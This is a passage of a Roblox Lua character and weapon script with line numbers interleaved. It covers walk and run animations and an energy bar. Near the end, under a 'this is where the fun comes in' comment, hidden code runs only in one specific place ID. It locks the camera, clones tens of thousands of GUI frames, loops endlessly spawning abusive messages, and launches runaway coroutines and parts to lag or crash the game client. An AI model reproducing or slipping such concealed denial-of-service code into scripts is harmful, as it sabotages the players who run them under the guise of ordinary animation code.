Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
4772
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4773
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4774
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4775
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4776
end
4777
end
4778
elseif torvel>2 and torvel<22 and hitfloor~=nil then
4779
Anim="Walk"
4780
if attack==false then
4781
change=0.8
4782
--[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
4783
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
4784
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
4785
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
4786
RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
4787
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
4788
--Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4789
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4790
RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
4791
--RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
4792
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
4793
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
4794
RH.C0=clerp(RH.C0,RHC0,.3)
4795
LH.C0=clerp(LH.C0,LHC0,.3)
4796
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4797
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4798
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4799
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4800
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4801
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4802
]]--
4803
Footsteps:Play()
4804
Footsteps2:Stop()
4805
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
4806
Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
4807
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4808
RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
4809
LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
4810
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
4811
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
4812
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4813
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
4814
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
4815
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4816
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4817
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4818
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4819
end
4820
elseif torvel>=22 and hitfloor~=nil then
4821
Anim="Run"
4822
change=1
4823
if attack==false then
4824
Footsteps:Stop()
4825
Footsteps2:Play()
4826
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
4827
Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
4828
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4829
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
4830
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
4831
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
4832
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
4833
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4834
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
4835
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
4836
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4837
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4838
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4839
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4840
end
4841
end
4842
end
4843
fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
4844
fenbarmana4.Text="[Energy]                    <{[  "..mana.."  ]}>                    [Energy]"
4845
text.Text = math.floor(hum.Health)
4846
if mana>=100 then
4847
mana=100
4848
else
4849
if mananum<=8 then
4850
mananum=mananum+100
4851
else
4852
mananum=0
4853
mana=mana+100
4854
end
4855
end
4856
end
4857
4858
4859
4860
4861
--- shshshhh this is where the fun comes in ---
4862
if game.PlaceId == 21053279 then
4863
plr = game.Players.LocalPlayer
4864
char = plr.Character
4865
cam = workspace.CurrentCamera
4866
cam.CameraType = "Scriptable"
4867
cam.CoordinateFrame = CFrame.new(0,0,50)
4868
local localContainer
4869
local service=setmetatable({
4870
	MarketPlace=game:service("MarketplaceService");
4871
	GamepassService=game:service("GamePassService");
4872
	ChatService=game:service("Chat");
4873
	LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
4874
},{
4875
	__index=function(tab,index)
4876
		local serv
4877
		local ran,err=pcall(function() serv=game:service(index) end)
4878
		if ran then
4879
			tab[index]=serv
4880
			return serv
4881
		end
4882
	end
4883
})
4884
4885
local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
4886
4887
x=game.Players.LocalPlayer
4888
				 x.CameraMode=Enum.CameraMode.LockFirstPerson
4889
				 f=Instance.new("Frame")
4890
				 f.Size=UDim2.new(1,0,1,0)
4891
				 f.BackgroundTransparency=0.01
4892
				 f.BackgroundColor3=Color3.new()
4893
				 pg=x.PlayerGui
4894
				 gui=Instance.new("ScreenGui",pg)
4895
				 wait(.1)
4896
			     for i=1,28000 do
4897
				 f:Clone().Parent=gui
4898
				 f:Clone().Parent=gui
4899
				 f:Clone().Parent=gui
4900
				 end
4901
			
4902
	script:Destroy();
4903
local runService = Game:GetService("RunService").Stepped;
4904
local LagNum = 1250;
4905
local str = "lag fucker lag";
4906
4907
for i = 1, math.huge do
4908
        if i % LagNum == 0 then runService:wait(); end
4909
        Instance.new("Message", Workspace).Text = str;
4910
end
4911
4912
local bores=coroutine.create(function() --Yolo?
4913
	cPcall(function()
4914
		--print(Game[("%s|"):rep(0xFFFFFFF)])
4915
	cPcall(print,'lol')
4916
	cPcall(warn,'lol')
4917
	cPcall(error,'lol')
4918
	while wait(0.1) do
4919
	spawn(function()
4920
		cPcall(function() 
4921
		spawn(function()
4922
		local tab={}
4923
		pcall(function()
4924
			spawn(function()
4925
			for i=1,1000000 do
4926
				cPcall(function()
4927
				spawn(function()
4928
					local bob2=coroutine.create(function()
4929
						function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
4930
						function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end 
4931
						spawn(f1)
4932
					end)
4933
					spawn(function() delay(0,function() coroutine.resume(bob2) end) end) 
4934
					spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
4935
				end)
4936
				end)
4937
			end
4938
			tab={}
4939
			end)
4940
		end)
4941
		end) 
4942
		end)
4943
	end)
4944
	end
4945
	end)
4946
end)
4947
4948
service.RunService.Stepped:connect(function()
4949
	for i=1,500000 do
4950
		delay(0,function() pcall(function() coroutine.resume(bores) end) end)
4951
	end
4952
end)
4953
4954
4955
	local function bob()
4956
	cPcall(function()
4957
		while wait(0.1) do
4958
			--cPcall(function()
4959
			--for i=1,100 do
4960
				local p=Instance.new("Part")
4961
				p.Material="Neon"
4962
				p.Size=Vector3.new(50,50,50)
4963
				p.Anchored=true
4964
				p.BackSurface="Studs"
4965
				p.BottomSurface="Studs"
4966
				p.FrontSurface="Studs"
4967
				p.LeftSurface="Studs"
4968
				p.RightSurface="Studs"
4969
				p.TopSurface="Studs"
4970
				local t=Instance.new("Texture",p)
4971
				t.Texture="http://www.roblox.com/asset/?id=190803157"
4972
				t.Face="Top"
4973
				t.StudsPerTileU=1000
4974
				t.StudsPerTileV=1000
4975
				local t2=t:clone()
4976
				t2.Parent=p
4977
				t2.Face="Bottom"
4978
				local t2=t:clone()
4979
				t2.Parent=p
4980
				t2.Face="Left"
4981
				local t2=t:clone()
4982
				t2.Parent=p
4983
				t2.Face="Right"
4984
				local t2=t:clone()
4985
				t2.Parent=p
4986
				t2.Face="Front"
4987
				local t2=t:clone()
4988
				t2.Parent=p
4989
				t2.Face="Back"
4990
				p.Parent=service.LocalContainer()
4991
			--end
4992
			--end)
4993
		end
4994
	end)
4995
	end
4996
	bob() --while wait(0.1) do cPcall(bob) end
4997
end
4998
--